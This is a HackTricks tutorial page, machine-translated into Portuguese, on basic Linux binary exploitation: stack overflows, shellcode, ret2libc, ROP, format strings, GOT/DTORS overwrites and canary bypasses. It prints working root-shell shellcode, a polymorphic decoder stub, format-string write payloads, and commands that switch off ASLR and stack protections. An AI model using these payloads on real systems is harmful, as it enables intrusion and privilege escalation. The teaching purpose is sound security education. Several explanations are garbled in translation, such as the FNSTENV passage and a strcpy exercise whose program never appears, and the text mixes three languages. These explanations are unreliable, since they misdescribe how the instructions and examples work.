# Linux Exploiting (Básico) (SPA) ## Linux Exploiting (Básico) (SPA)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
## **ASLR** Aleatorização de endereços **Desativar aleatorização (ASLR) GLOBAL (root)**:\ echo 0 > /proc/sys/kernel/randomize\_va\_space\ Reativar aleatorização GLOBAL: echo 2 > /proc/sys/kernel/randomize\_va\_space **Desativar para uma execução** (não requer root):\ setarch \`arch\` -R ./exemplo argumentos\ setarch \`uname -m\` -R ./exemplo argumentos **Desativar proteção de execução na pilha**\ gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack exemplo.c -o exemplo **Arquivo core**\ ulimit -c unlimited\ gdb /exec arquivo\_core\ /etc/security/limits.conf -> \* soft core unlimited **Texto**\ **Dados**\ **BSS**\ **Heap** **Pilha** **Seção BSS**: Variáveis globais ou estáticas não inicializadas ``` static int i; ``` **Seção DATA**: Variáveis globais ou estáticas inicializadas ``` int i = 5; ``` **Seção TEXT**: Instruções de código (opcodes) **Seção HEAP**: Buffers alocados dinamicamente (malloc(), calloc(), realloc()) **Seção STACK**: A pilha (argumentos passados, strings de ambiente (env), variáveis locais...) ## **1. ESTOUROS DE PILHA** > estouro de buffer, sobrecarga de buffer, estouro de pilha, esmagamento de pilha Falha de segmentação ou violação de segmento: quando se tenta acessar um endereço de memória que não foi atribuído ao processo. Para obter o endereço de uma função dentro de um programa, pode-se fazer: ``` objdump -d ./PROGRAMA | grep FUNCION ``` ## ROP ### Chamada para sys\_execve {% content-ref url="rop-syscall-execv.md" %} [rop-syscall-execv.md](rop-syscall-execv.md) {% endcontent-ref %} ## **2.SHELLCODE** Ver interrupções do kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR\_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ exit(0); // \_\_NR\_exit 1 xor eax, eax ; limpamos eax\ xor ebx, ebx ; ebx = 0 pois não há argumento para passar\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ int 0x80 ; Executar syscall **nasm -f elf assembly.asm** —> Retorna um .o\ **ld assembly.o -o shellcodeout** —> Dá-nos um executável formado pelo código assembly e podemos obter os opcodes com **objdump**\ **objdump -d -Mintel ./shellcodeout** —> Para verificarmos se é realmente a nossa shellcode e obtermos os OpCodes **Verificar se a shellcode funciona** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ void (*fp) (void); fp = (void *)shellcode; fp(); } ``` To verify that system calls are being made correctly, the previous program must be compiled and the system calls must appear in **strace ./COMPILED\_PROGRAM** When creating shellcodes, a trick can be performed. The first instruction is a jump to a call. The call calls the original code and also puts the EIP on the stack. After the call instruction, we have inserted the string we need, so with that EIP we can point to the string and also continue executing the code. EXAMPLE **TRICK (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh) xorl %eax, %eax ; eax = NULL movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh movl $0xb, %eax ; Syscall 11 movl %esi, %ebx ; arg1=“/bin/sh” leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} leal 0xc(%esi), %edx ; arg3 = NULL int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) xorl %ebx, %ebx ; ebx = NULL movl %ebx, %eax inc %eax ; Syscall 1 int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` **EJ usando o Stack (/bin/sh):** Neste exercício, vamos explorar uma vulnerabilidade de estouro de buffer em um programa que usa a função `strcpy()` sem verificar o tamanho do buffer de destino. Vamos aproveitar essa vulnerabilidade para injetar um shellcode no programa e obter um shell de root. O programa vulnerável é um programa simples que copia a entrada do usuário para um buffer usando a função `strcpy()`. O buffer tem um tamanho fixo de 64 bytes, mas a função `strcpy()` não verifica o tamanho do buffer de destino, o que permite que o usuário insira mais de 64 bytes e cause um estouro de buffer. Nosso objetivo é explorar essa vulnerabilidade para injetar um shellcode no programa e obter um shell de root. Para fazer isso, vamos usar um shellcode que executa o comando `/bin/sh` e injetá-lo no buffer de entrada do programa. Quando o programa executa o shellcode, ele executa o comando `/bin/sh` e nos dá um shell de root. Este exercício é um exemplo básico de como explorar uma vulnerabilidade de estouro de buffer e injetar um shellcode em um programa vulnerável. É importante lembrar que a exploração de vulnerabilidades em sistemas ou aplicativos sem autorização é ilegal e pode resultar em consequências graves. ``` section .text global _start _start: xor eax, eax ;Limpieza mov al, 0x46 ; Syscall 70 xor ebx, ebx ; arg1 = 0 xor ecx, ecx ; arg2 = 0 int 0x80 ; setreuid(0,0) xor eax, eax ; eax = 0 push eax ; “\0” push dword 0x68732f2f ; “//sh” push dword 0x6e69622f; “/bin” mov ebx, esp ; arg1 = “/bin//sh\0” push eax ; Null -> args[1] push ebx ; “/bin/sh\0” -> args[0] mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` **EJ FNSTENV:** A instrução `FNSTENV` é usada para armazenar o estado atual do coprocessador em uma variável de ambiente. O registrador `ESP` é usado para apontar para a variável de ambiente. O tamanho da variável de ambiente é de 28 bytes. A instrução `EJ FNSTENV` é usada para armazenar o estado atual do coprocessador em uma variável de ambiente e, em seguida, pular para o endereço especificado. ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` **Egg Hunter:** O Egg Hunter é um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode armazenada lá (procurando por alguma assinatura colocada na shellcode). É útil nos casos em que há apenas um pequeno espaço para injetar código. **Shellcodes polimórficos** São shells criptografadas que possuem um pequeno código que as descriptografa e salta para ela, usando o truque de Call-Pop. Um exemplo disso seria um **exemplo cifrado de César**: ``` global _start _start: jmp short magic init: pop esi xor ecx, ecx mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) sub cl, 1 jnz desc jmp short sc magic: call init sc: ;Aquí va el shellcode ``` 1. **Atacando o Frame Pointer (EBP)** Útil em uma situação em que podemos modificar o EBP, mas não o EIP. Sabe-se que ao sair de uma função, o seguinte código em assembly é executado: ``` movl %ebp, %esp popl %ebp ret ``` Desta forma, se pode modificar o EBP ao sair de uma função (fvuln) que foi chamada por outra função, quando a função que chamou fvuln terminar, seu EIP pode ser modificado. Em fvuln, pode-se introduzir um EBP falso que aponte para um local onde esteja a direção da shellcode + 4 (é necessário somar 4 por causa do pop). Assim, ao sair da função, o valor de &(\&Shellcode)+4 será colocado em ESP, com o pop, 4 será subtraído de ESP e ele apontará para a direção da shellcode quando o ret for executado. **Exploit:**\ \&Shellcode + "AAAA" + SHELLCODE + preenchimento + &(\&Shellcode)+4 **Exploit Off-by-One**\ Permite modificar apenas o byte menos significativo do EBP. Pode-se realizar um ataque como o anterior, mas a memória que guarda a direção da shellcode deve compartilhar os 3 primeiros bytes com o EBP. ## **4. Métodos return to Libc** Método útil quando o stack não é executável ou deixa um buffer muito pequeno para modificar. O ASLR faz com que em cada execução as funções sejam carregadas em posições distintas da memória. Portanto, este método pode não ser efetivo nesse caso. Para servidores remotos, como o programa está sendo executado constantemente no mesmo endereço, pode ser útil. * **cdecl (C declaration)** Coloca os argumentos no stack e após sair da função limpa a pilha * **stdcall (standard call)** Coloca os argumentos na pilha e é a função chamada que a limpa * **fastcall** Coloca os dois primeiros argumentos em registradores e o resto na pilha Coloca-se o endereço da instrução system de libc e passa-se como argumento a string “/bin/sh”, normalmente de uma variável de ambiente. Além disso, usa-se o endereço da função exit para que, uma vez que a shell não seja mais necessária, o programa saia sem problemas (e escreva logs). **export SHELL=/bin/sh** Para encontrar os endereços que precisamos, pode-se olhar dentro do **GDB:**\ **p system**\ **p exit**\ **rabin2 -i executável** —> Dá o endereço de todas as funções que o programa usa ao carregar\ (Dentro de um start ou algum breakpoint): **x/500s $esp** —> Procuramos aqui a string /bin/sh Uma vez que tenhamos esses endereços, o **exploit** ficaria assim: “A” \* DISTÂNCIA EBP + 4 (EBP: podem ser 4 "A"s, embora seja melhor se for o EBP real para evitar falhas de segmentação) + Endereço de **system** (sobrescreverá o EIP) + Endereço de **exit** (ao sair de system(“/bin/sh”), esta função será chamada, pois os primeiros 4 bytes do stack são tratados como o próximo endereço do EIP a ser executado) + Endereço de “**/bin/sh**” (será o parâmetro passado para system) Desta forma, o EIP será sobrescrito com o endereço de system, que receberá como parâmetro a string “/bin/sh” e, ao sair dele, executará a função exit(). É possível encontrar-se na situação em que algum byte de algum endereço de alguma função seja nulo ou espaço (\x20). Nesse caso, pode-se desmontar os endereços anteriores a essa função, pois provavelmente haverá vários NOPs que nos permitirão chamar um deles em vez da função diretamente (por exemplo, com > x/8i system-4). Este método funciona porque, ao chamar uma função como system usando o opcode **ret** em vez de **call**, a função entende que os primeiros 4 bytes serão o endereço **EIP** para o qual voltar. Uma técnica interessante com este método é chamar **strncpy()** para mover um payload do stack para o heap e posteriormente usar **gets()** para executar esse payload. Outra técnica interessante é o uso de **mprotect()**, que permite atribuir as permissões desejadas a qualquer parte da memória. Serve ou servia em BDS, MacOS e OpenBSD, mas não em linux (controla que não seja possível conceder permissões de escrita e execução ao mesmo tempo). Com esse ataque, pode-se reconfigurar o stack como executável. **Encadeamento de funções** Com base na técnica anterior, esta forma de exploit consiste em:\ Preenchimento + \&Função1 + \&pop;ret; + \&arg\_fun1 + \&Função2 + \&pop;ret; + \&arg\_fun2 + … Desta forma, podem-se encadear funções a serem chamadas. Além disso, se quiser usar funções com vários argumentos, pode-se colocar os argumentos necessários (por exemplo, 4) e colocar os 4 argumentos e procurar o endereço em um local com opcodes: pop, pop, pop, pop, ret —> **objdump -d executável** **Encadeamento por falsificação de frames (encadeamento de EBPs)** Consiste em aproveitar o poder de manipular o EBP para ir encadeando a execução de várias funções através do EBP e de "leave;ret" PREENCHIMENTO * Coloca-se no EBP um EBP falso que aponta para: 2º EBP\_falso + a função a ser executada: (\&system() + \&leave;ret + &“/bin/sh”) * No EIP, coloca-se como endereço uma função &(leave;ret) Inicia-se a shellcode com o endereço da próxima parte da shellcode, por exemplo: 2ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/sh” o 2ºEBP seria: 3ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/ls” Esta shellcode pode ser repetida indefinidamente nas partes da memória às quais se tenha acesso, de forma que se conseguirá uma shellcode facilmente divisível por pequenos pedaços de memória. (Encadeia a execução de funções misturando as vulnerabilidades vistas anteriormente de EBP e de ret2lib) ## **5. Métodos complementares** **Ret2Ret** Útil quando não se pode colocar um endereço do stack no EIP (verifica-se que o EIP não contém 0xbf) ou quando não se pode calcular a localização da shellcode. Mas, a função vulnerável aceita um parâmetro (a shellcode irá aqui). Desta forma, ao mudar o EIP por um endereço de um **ret**, a próxima direção será carregada (que é o endereço do primeiro argumento da função). Ou seja, a shellcode será carregada. O exploit ficaria assim: SHELLCODE + Preenchimento (até EIP) + **\&ret** (os próximos bytes da pilha apontam para o início da shellcode, pois a direção do parâmetro passado é colocada no stack) Parece que funções como **strncpy** uma vez completas eliminam da pilha o endereço onde a shellcode estava armazenada, impossibilitando esta técnica. Ou seja, o endereço que passam para a função como argumento (o que guarda a shellcode) é modificado por um 0x00, de modo que, ao chamar o segundo **ret**, encontra um 0x00 e o programa morre. ``` **Ret2PopRet** ``` Se não tivermos controle sobre o primeiro argumento, mas sim sobre o segundo ou terceiro, podemos sobrescrever o EIP com um endereço para pop-ret ou pop-pop-ret, dependendo do que precisamos. **Técnica de Murat** No Linux, todos os programas são mapeados começando em 0xbfffffff. Observando como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. O endereço desta pode então ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME\_do\_executável\_completo) - strlen(shellcode) Desta forma, a variável de ambiente com a shellcode pode ser facilmente obtida. Isso é possível graças à função execle, que permite criar um ambiente que tenha apenas as variáveis de ambiente desejadas. **Jump to ESP: Estilo Windows** Devido ao fato de o ESP sempre apontar para o início da pilha, esta técnica consiste em substituir o EIP pelo endereço de uma chamada a **jmp esp** ou **call esp**. Dessa forma, a shellcode é salva após a sobrescrita do EIP, já que após a execução do **ret**, o ESP estará apontando para o endereço seguinte, exatamente onde a shellcode foi salva. Caso o ASLR não esteja ativado no Windows ou no Linux, é possível chamar **jmp esp** ou **call esp** armazenados em algum objeto compartilhado. Caso o ASLR esteja ativado, é possível procurar dentro do próprio programa vulnerável. Além disso, o fato de poder colocar a shellcode após a corrupção do EIP, em vez de no meio da pilha, permite que as instruções push ou pop que são executadas no meio da função não toquem na shellcode (o que poderia ocorrer se ela fosse colocada no meio da pilha da função). De forma muito semelhante a isso, se soubermos que uma função retorna o endereço onde a shellcode está armazenada, é possível chamar **call eax** ou **jmp eax (ret2eax).** **ROP (Programação Orientada a Retorno) ou pedaços de código emprestados** Os pedaços de código que são invocados são conhecidos como gadgets. Essa técnica consiste em encadear diferentes chamadas de funções usando a técnica **ret2libc** e o uso de **pop,ret**. Em algumas arquiteturas de processadores, cada instrução é um conjunto de 32 bits (MIPS, por exemplo). No entanto, na Intel, as instruções têm tamanho variável e várias instruções podem compartilhar um conjunto de bits, por exemplo: **movl $0xe4ff, -0x(%ebp)** —> Contém os bytes 0xffe4, que também são traduzidos como: **jmp \*%esp** Dessa forma, é possível executar algumas instruções que nem mesmo estão no programa original. **ROPgadget.py** ajuda a encontrar valores em binários. Este programa também serve para criar os **payloads**. Você pode fornecer a biblioteca da qual deseja extrair os ROPs e ele gerará um payload em Python, ao qual você fornece o endereço em que a biblioteca está e o payload está pronto para ser usado como shellcode. Além disso, como usa chamadas de sistema, ele não executa nada na pilha, apenas vai salvando endereços de ROPs que serão executados por meio de **ret**. Para usar esse payload, é necessário chamá-lo por meio de uma instrução **ret**. **Estouro de inteiros** Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o que é passado para ela, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo: ```c #include #include #include int main(int argc, char *argv[]){ int len; unsigned int l; char buffer[256]; int i; len = l = strtoul(argv[1], NULL, 10); printf("\nL = %u\n", l); printf("\nLEN = %d\n", len); if (len >= 256){ printf("\nLongitus excesiva\n"); exit(1); } if(strlen(argv[2]) < l) strcpy(buffer, argv[2]); else printf("\nIntento de hack\n"); return 0; } ``` No exemplo anterior, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a string. Se passarmos um número negativo como primeiro parâmetro, será exibido que len < 256 e passaremos por esse filtro, e também strlen(buffer) será menor que l, pois l é unsigned int e será muito grande. Esse tipo de overflow não busca escrever algo no processo do programa, mas sim superar filtros mal projetados para explorar outras vulnerabilidades. **Variáveis não inicializadas** Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observá-la. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que esta seja controlada pelo atacante. ## **Format Strings** Em C, **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto. A vulnerabilidade aparece quando um **texto do atacante é colocado como primeiro argumento** para essa função. O atacante poderá criar uma **entrada especial abusando das capacidades de formatação do printf** para **escrever qualquer dado em qualquer endereço**. Dessa forma, é possível **executar código arbitrário**. Formatadores: ```bash %08x —> 8 hex bytes %d —> Entire %u —> Unsigned %s —> String %n —> Number of written bytes %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` **`%n`** **escreve** o **número de bytes escritos** no **endereço indicado. Escrever** tantos **bytes** quanto o número hexadecimal que precisamos escrever é como podemos **escrever qualquer dado**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` ### \*\*GOT (Tabela Global de Deslocamentos) / PLT (\*\*Tabela de Ligação de Procedimentos) Esta é a tabela que contém o **endereço** das **funções externas** usadas pelo programa. Obtenha o endereço desta tabela com: **`objdump -s -j .got ./exec`** ![](<../../.gitbook/assets/image (619).png>) Observe como depois de **carregar** o **executável** no GEF você pode **ver** as **funções** que estão na **GOT**: `gef➤ x/20x 0xDIR_GOT` ![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) Usando o GEF você pode **iniciar** uma **sessão de depuração** e executar **`got`** para ver a tabela got: ![](<../../.gitbook/assets/image (621).png>) Em um binário, a GOT tem os **endereços das funções ou** da **seção PLT** que carregará o endereço da função. O objetivo deste exploit é **substituir a entrada GOT** de uma função que será executada mais tarde **pelo endereço do PLT da função `system`**. Idealmente, você irá **substituir** a **GOT** de uma **função** que está **prestes a ser chamada com parâmetros controlados por você** (para que você possa controlar os parâmetros enviados para a função do sistema). Se **`system`** **não for usada** pelo script, a função do sistema **não terá uma entrada na GOT**. Nesse cenário, você precisará **vazar primeiro o endereço** da função `system`. A **Tabela de Ligação de Procedimentos** é uma tabela **somente leitura** no arquivo ELF que armazena todos os **símbolos necessários que precisam de resolução**. Quando uma dessas funções é chamada, a **GOT** irá **redirecionar** o **fluxo** para o **PLT** para que ele possa **resolver** o **endereço** da função e escrevê-lo na GOT.\ Então, na **próxima vez** que uma chamada for realizada para esse endereço, a **função** é **chamada diretamente** sem precisar resolvê-la. Você pode ver os endereços PLT com **`objdump -j .plt -d ./vuln_binary`** ### **Fluxo de Exploração** Como explicado anteriormente, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada posteriormente. Idealmente, poderíamos definir o **endereço para um shellcode** localizado em uma seção executável, mas é altamente provável que você não consiga escrever um shellcode em uma seção executável.\ Então, uma opção diferente é **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função `system`**. Para escrever o endereço, geralmente são feitos 2 passos: você **primeiro escreve 2Bytes** do endereço e depois os outros 2. Para fazer isso, é usado **`$hn`**. **HOB** é chamado para os 2 bytes mais altos do endereço\ **LOB** é chamado para os 2 bytes mais baixos do endereço Então, por causa de como a string de formato funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro. Se HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` Se HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB \`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\` ### **Modelo de Exploração de String de Formato** Você pode encontrar um **modelo** para explorar a GOT usando strings de formato aqui: {% content-ref url="format-strings-template.md" %} [format-strings-template.md](format-strings-template.md) {% endcontent-ref %} ### **.fini\_array** Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes que o programa termine. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos em que você precisa voltar para o main novamente para **explorar a string de formato uma segunda vez**. ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: 8049934 a0850408 #Put your address in 0x8049934 ``` Observe que isso **não** **criará** um **loop eterno** porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Então, com isso, você poderá **ter mais uma execução** da vulnerabilidade. ### **Strings de formato para extrair conteúdo** Uma string de formato também pode ser usada para **extrair conteúdo** da memória do programa.\ Por exemplo, na seguinte situação, há uma **variável local na pilha apontando para uma flag**. Se você **encontrar** onde na **memória** o **ponteiro** para a **flag** está, você pode fazer com que o **printf acesse** esse **endereço** e **imprima** a **flag**: Então, a flag está em **0xffffcf4c** ![](<../../.gitbook/assets/image (618) (2).png>) E a partir do vazamento, você pode ver que o **ponteiro para a flag** está no **8º** parâmetro: ![](<../../.gitbook/assets/image (623).png>) Então, **acessando** o **8º parâmetro**, você pode obter a flag: ![](<../../.gitbook/assets/image (624).png>) Observe que, seguindo o **exploit anterior** e percebendo que você pode **vazar conteúdo**, você pode **definir ponteiros** para o **`printf`** na seção onde o **executável** é **carregado** e **extrair** tudo **inteiramente**! ### **DTOR** {% hint style="danger" %} Hoje em dia é muito **incomum encontrar um binário com uma seção dtor**. {% endhint %} Os destrutores são funções que são **executadas antes do programa terminar**.\ Se você conseguir **escrever** um **endereço** para um **shellcode** em **`__DTOR_END__`**, isso será **executado** antes que o programa termine.\ Obtenha o endereço desta seção com: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` Normalmente, você encontrará a seção **DTOR** **entre** os valores `ffffffff` e `00000000`. Portanto, se você apenas vir esses valores, significa que **não há nenhuma função registrada**. Então, **sobrescreva** o **`00000000`** com o **endereço** do **shellcode** para executá-lo. ### **Strings de formato para estouro de buffer** O **sprintf** move uma string formatada para uma variável. Portanto, você pode abusar da formatação de uma string para causar um estouro de buffer na variável para onde o conteúdo é copiado. Por exemplo, a carga útil `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um estouro de buffer. ### **Estruturas \_\_atexit** {% hint style="danger" %} Atualmente é muito **estranho explorar isso**. {% endhint %} **`Atexit()`** é uma função para a qual **outras funções são passadas como parâmetros**. Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\ Se você pode **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **ganhará controle** do **processo**, mas isso é atualmente mais complicado.\ Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente, esse vetor de ataque é **pouco útil, pelo menos em x86** e **x64\_86**.\ A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a criptografia** porque **retornam o mesmo** que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor. ### **setjmp() & longjmp()** {% hint style="danger" %} Atualmente é muito **estranho explorar isso**. {% endhint %} **`Setjmp()`** permite **salvar** o **contexto** (os registradores)\ **`Longjmp()`** permite **restaurar** o **contexto**.\ Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\ O que acontece é que EIP e ESP são passados pela função **`PTR_MANGLE`**, então a **arquitetura vulnerável a esse ataque é a mesma que acima**.\ Eles são úteis para recuperação de erros ou interrupções.\ No entanto, pelo que li, os outros registradores não são protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função sendo chamada, o controle pode ser assumido. Ou você também pode modificar EBP para modificar o ESP. **VTable e VPTR em C++** Cada classe tem uma **Vtable** que é uma matriz de **ponteiros para métodos**. Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para a matriz de sua classe. O VPtr faz parte do cabeçalho de cada objeto, portanto, se uma **sobrescrita** do **VPtr** for alcançada, ela poderá ser **modificada** para **apontar** para um método fictício, para que a execução de uma função vá para o shellcode. ## **Medidas preventivas e evasões** **ASLR não tão aleatório** O PaX divide o espaço de endereços do processo em 3 grupos: Código e dados iniciados e não iniciados: .text, .data e .bss —> 16 bits de entropia na variável delta\_exec, essa variável é iniciada aleatoriamente com cada processo e é adicionada aos endereços iniciais Memória alocada por mmap() e bibliotecas compartilhadas —> 16 bits, delta\_mmap O stack —> 24 bits, delta\_stack —> Realmente 11 (do byte 10º ao 20º inclusive) —>alinhado a 16 bytes —> 524.288 possíveis endereços reais do stack As variáveis de ambiente e os argumentos são deslocados menos que um buffer no stack. **Return-into-printf** É uma técnica para transformar um estouro de buffer em um erro de string de formato. Consiste em substituir o EIP para que aponte para um printf da função e passar como argumento uma string de formato manipulada para obter valores sobre o estado do processo. **Ataque a bibliotecas** As bibliotecas estão em uma posição com 16 bits de aleatoriedade = 65636 possíveis endereços. Se um servidor vulnerável chamar fork(), o espaço de endereços de memória é clonado no processo filho e permanece intacto. Portanto, pode-se tentar fazer uma força bruta na função usleep() da libc passando "16" como argumento, de forma que quando demorar mais do que o normal para responder, essa função será encontrada. Sabendo onde está essa função, pode-se obter delta\_mmap e calcular as outras. A única maneira de ter certeza de que o ASLR funciona é usando a arquitetura de 64 bits. Lá não há ataques de força bruta. **StackGuard e StackShield** **StackGuard** insere antes do EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Ainda são vulneráveis recv(), memcpy(), read(), bcoy() e não protege o EBP **StackShield** é mais elaborado que o StackGuard Armazena em uma tabela (Global Return Stack) todos os endereços EIP de retorno para que o estouro não cause nenhum dano. Além disso, ambas as direções podem ser comparadas para ver se houve um estouro. Também é possível verificar o endereço de retorno com um valor limite, assim, se o EIP for para um local diferente do habitual, como o espaço de dados, será conhecido. Mas isso é contornado com Ret-to-lib, ROPs ou ret2ret. Como pode ser visto, o stackshield também não protege as variáveis locais. **Stack Smash Protector (ProPolice) -fstack-protector** O canário é colocado antes do EBP. Reorganiza as variáveis locais para que os buffers estejam nas posições mais altas e, portanto, não possam sobrescrever outras variáveis. Além disso, faz uma cópia segura dos argumentos passados acima da pilha (acima das vars locais) e usa essas cópias como argumentos. Não pode proteger matrizes com menos de 8 elementos ou buffers que fazem parte de uma estrutura do usuário. O canário é um número aleatório retirado de "/dev/urandom" ou, caso contrário, é 0xff0a0000. É armazenado em TLS (Thread Local Storage). Os threads compartilham o mesmo espaço de memória, o TLS é uma área que tem variáveis globais ou estáticas de cada thread. No entanto, em princípio, eles são copiados do processo pai, embora o processo filho possa modificar esses dados sem modificar os do pai ou dos outros filhos. O problema é que se o fork() for usado, mas não for criado um novo canário, todos os processos (pai e filhos) usarão o mesmo canário. No i386, é armazenado em gs:0x14 e no x86\_64, é armazenado em fs:0x28 Essa proteção localiza funções que têm buffer que podem ser atacados e inclui no início da função código para colocar o canário e código no final para verificá-lo. A função fork() realiza uma cópia exata do processo pai, por isso, se um servidor da web chamar fork(), pode-se fazer um ataque de força bruta byte a byte até descobrir o canário que está sendo usado. Se a função execve() for usada após o fork(), o espaço será sobrescrito e o ataque não será mais possível ```bash gef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc 0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc 0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc 0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc 0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc 0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap] 0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 